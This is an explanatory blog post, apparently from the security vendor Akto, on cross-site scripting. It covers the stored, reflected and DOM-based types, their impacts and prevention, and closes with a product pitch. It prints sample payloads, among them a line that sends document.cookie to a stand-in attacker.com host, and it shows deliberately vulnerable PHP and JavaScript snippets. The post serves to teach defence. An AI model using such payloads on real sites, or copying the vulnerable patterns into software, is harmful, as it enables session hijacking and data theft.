Cross Site Scripting (XSS) is a client-side code injection vulnerability that allows attackers to inject and add malicious scripts into the website when a user is using a browser session. These scripts are often written in JavaScript and added to webpages hosted by open applications. Once executed, the script gives the same privileges as the user and allows attackers to use session tokens, cookies, browsing history, and other sensitive data. In some situations, the attacker can also act as the user, perform unauthorized actions on their behalf, or direct them to unsafe websites. XSS damages the user's trust in the application, exposing the user and the organization to serious security risks.

This blog will discuss XSS, how does cross-site scripting work, and the types of cross-site scripting attacks. It will also discuss cross-site scripting examples, the Impact of cross-site scripting, and how to prevent cross-site scripting.

Let’s get started!!

What is a Cross-Site Scripting Attack (XSS)?

A Cross-Site Scripting (XSS) attack is a type of security vulnerability in web applications that allows attackers to inject malicious scripts into content given to users. These scripts are often written in JavaScript and performed in the user's browser when they visit the affected page. Using malicious code, attackers can perform various harmful activities, like gaining session cookies, logging keystrokes, and sending users to phishing sites, which may put the website at risk.

XSS attacks often occur when an application fails to check or sanitize user input before adding it to web pages. The injected script runs with the same rights as the user and allows attackers to get private data or perform malicious activities without the user's permission. XSS is divided into three types: stored, reflected, and DOM-based, with each having its own set of properties and techniques of exploitation.

How Does Cross Site Scripting Work?

XSS attacks target web application vulnerabilities by injecting malicious scripts into the content shown to users.

Inject Malicious Code

The attacker finds a vulnerable input field in the program that is not properly sanitized. They enter a script, written in JavaScript, into this field, which might be included in form submissions, URL parameters, or comments. If the application does not check and sanitize this input, it considers the script as genuine content.

Execute Script in the User's Browser

Once the input is processed, the malicious input and returned to the user's browser, and the script executes in the context of the user's session. Because the script is included on the webpage, it has permission to see sensitive information like session tokens and cookies stored in the browser.

Exploit Session or Data

After execution, the attacker's script can perform various malicious actions. It can steal cookies or session data and impersonate them to gain access to private information or perform unauthorized actions on their behalf. Attackers may also redirect the user to a malicious website or launch other attacks, like phishing.

Spread Malicious Content

In a few cases, the attacker's script can allow them to change the content displayed to the user. This can result in the spreading of malicious content among other users. For example, in stored XSS, the injected script stays on the server and is given to all users who visit the affected webpage.

Bypass the Security Mechanisms

XSS vulnerabilities often bypass common security measures like firewalls and access control because attackers run malicious code in the user's browser and not on the server. As a result, even well-secured backend systems become vulnerable if suitable security procedures, like input sanitization and output encoding, are not applied.

Types of Cross Site Scripting Attacks

XSS attacks are classified into three types based on how and where the malicious script is executed.

Stored XSS (Persistent XSS)

In stored XSS attacks, the malicious script is inserted and kept on the server permanently, usually in a database or other permanent location. This content is then sent to all users who visit the affected webpage. The injected script runs immediately when the user visits the page attacker can check or steal their data, and take advantage of their trust in the web application. Stored XSS is risky because it affects all users who visit the page and also increases the possibility of the attack.

The attacker submits a script that is stored and then shown to others.

<!-- Malicious comment -->
<script>alert('Stored XSS');</script>

Reflected XSS (Non-Persistent XSS)

Reflected XSS occurs when a web server shows the injected script in response to a user request. The script is run immediately as part of the response when a user clicks on a malicious link. This type of attack tricks the user and suggest them to click on a link that has a malicious payload. In this type of attack, the script is not kept on the server. The attack is only effective for those who click on the infected link.

The script is already added to a URL and shown in the page response.

<!-- URL -->
<http://example.com/search?q=><script>alert('Reflected XSS')</script>

<!-- Vulnerable server-side code -->
<?php echo $_GET['q'];

DOM-Based XSS

DOM-based XSS, as compared to server-side code, targets vulnerabilities in the web page's Document Object Model (DOM). In this type of attack, the malicious script changes the client-side JavaScript to change the DOM and affect the page's functionality without the need for any server contact. The attacker injects malicious input into the client's browser and causes the script to be executed within the context of the page without the server sending a malicious response.

Client-side JavaScript processes data from the URL or input without sanitization.

<!-- URL -->
<http://example.com/page.html#><script>alert('DOM XSS')</script>

<!-- Vulnerable client-side code -->
<script>
  document.write(location.hash);
</script>

Cross-Site Scripting Example

An attacker can exploit an XSS vulnerability by injecting malicious scripts into input fields or URL parameters that have not been properly validated. Here's an example of a common stored XSS attack:

• Vulnerable Input Field: Suppose an application has an input part where users can post comments. The application does not sanitize user input and instead shows the content as part of the page's HTML response. An attacker sends a remark with the following payload.

<script>alert('XSS Attack!');</script>

• Stored Script: The malicious comment is saved in the server's database and shown on the page when additional users visit the comment section. Because the application does not correctly encode the HTML output, the browser treats the injected script as if it were valid content.

• User Views the Page: A valid user visits the page and reads the comments section. When the page loads, the browser runs the inserted JavaScript. In this example, the script just displays an alert box with the words 'XSS Attack!'.

• Possible Impacts: In a serious attack, the script may take sensitive information, like the user's session cookie, and transfer it to the attacker's site. For example:

<script>document.location='<http://attacker.com/steal-cookie?cookie=>' + document.cookie;</script>

This script sends the user's session cookie to the attacker's server and allows them to take over the user's session and do unauthorized activities.

Impact of Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) attacks can have serious effects on users and organizations.

Session Hijacking

Session hijacking is a common attack and has serious side effects, of XSS attacks. Attackers can steal users' session cookies and impersonate them to gain unauthorized access to their accounts. This allows attackers to perform sensitive acts like checking private information or performing transactions on behalf of the user.

Data Theft

Source: Freepik

XSS attacks can be used to gain sensitive data like passwords, credit card numbers, personal information, or any other information entered by users into web forms. Injecting scripts that capture keystrokes or intercept form submissions allows attackers to gain access to important data and use it for malicious purposes.

Malware Distribution

Attackers can use XSS vulnerabilities to redirect visitors to malicious websites or download malware onto the victim's PC. This can lead to more breaches, like the installation of malware or the creation of botnets for future attacks. Users often stay unaware that the website they trust has been compromised.

Phishing Attacks

XSS can also allow phishing attacks. An attacker can inject a script that displays a fake login form or suggests users to give their personal information while they believe they are dealing with an official website. Because the attack takes place within the trusted context of the website, users are more likely to fall for it, which results in the loss of important credentials.

Reputational Damage

XSS vulnerabilities can damage organizations' reputations and cause users to lose trust in them. If sensitive data is stolen or the application is used to send risky information, customers may avoid the site, and the organization may suffer legal consequences, particularly under data protection rules like GDPR or CCPA. In addition, if they fail to maintain a secure platform can result in compliance and regulatory penalties.

How to Prevent Cross-Site Scripting (XSS)

Preventing XSS attacks requires a complete approach to ensure that every user input is properly handled and that malicious information is not processed in the user's browser. The following are the key strategies that security experts can use to reduce the risk of XSS:

Input Validation and Output Encoding

Ensure that all user input is checked against a strict set of standards, excluding unexpected or possibly harmful characters. Additionally, encode output data before displaying it on the page. This prevents the browser from treating user input as executable code. Convert characters like <, >, and & to HTML entities (<, >, &) to prevent script execution.

Use Content Security Policy (CSP)

Use a Content Security Policy (CSP) to limit the sources from which content can be loaded onto your website. This significantly reduces the risk of XSS attacks by blocking unauthorized script execution, even if an attacker successfully injects a malicious payload. CSP can also prevent inline scripts and require the use of trusted external sources.

Sanitize Dynamic Data

Sanitize and extract content created by users before inserting it into dynamic web pages (for example, for displaying user comments, form inputs, and so on). Tools like OWASP's Java Encoder and libraries intended for this purpose can help prevent harmful characters from being executed, possibly leading to XSS.

Avoid Inline JavaScript

Avoid implementing JavaScript directly in HTML (inline scripts), as it is vulnerable to injection. Instead, use external script files and avoid techniques like eval(), document.write(), and others that dynamically run code strings. This reduces the possibility of an attacker successfully inserting executable code into the website.

Use HttpOnly and Secure Cookies

Use the HttpOnly and Secure options for cookies that store session data. The HttpOnly setting disables JavaScript from accessing cookies, protecting session cookies from theft in XSS attacks. The Secure flag ensures that cookies are only sent via secure (HTTPS) connections, which reduces the risk of interception.

Regular Security Audits

Perform regular security audits and vulnerability checks, like automated static and dynamic application security testing (SAST/DAST). Automated tools can help discover potential XSS vulnerabilities early in the development process, allowing security engineers to fix them before the application goes online.

Final Thoughts

Cross-Site Scripting (XSS) is a serious vulnerability in present web applications. Its exploitation may seem unimportant, but it has serious consequences. To prevent XSS, proactive protection measures should be implemented at both the client and server levels, as well as ongoing code reviews and automated security testing.

Akto is an AI-powered platform that allows security experts to detect and fix XSS vulnerabilities during the development process. Akto allows teams to automate API security checks, monitor for XSS continuously, and enforce secure development practices throughout the business. It combines easily with CI/CD pipelines, ensuring that vulnerabilities are spotted before they reach production. Schedule a demo to learn how Akto simplifies XSS detection and improves API security at scale.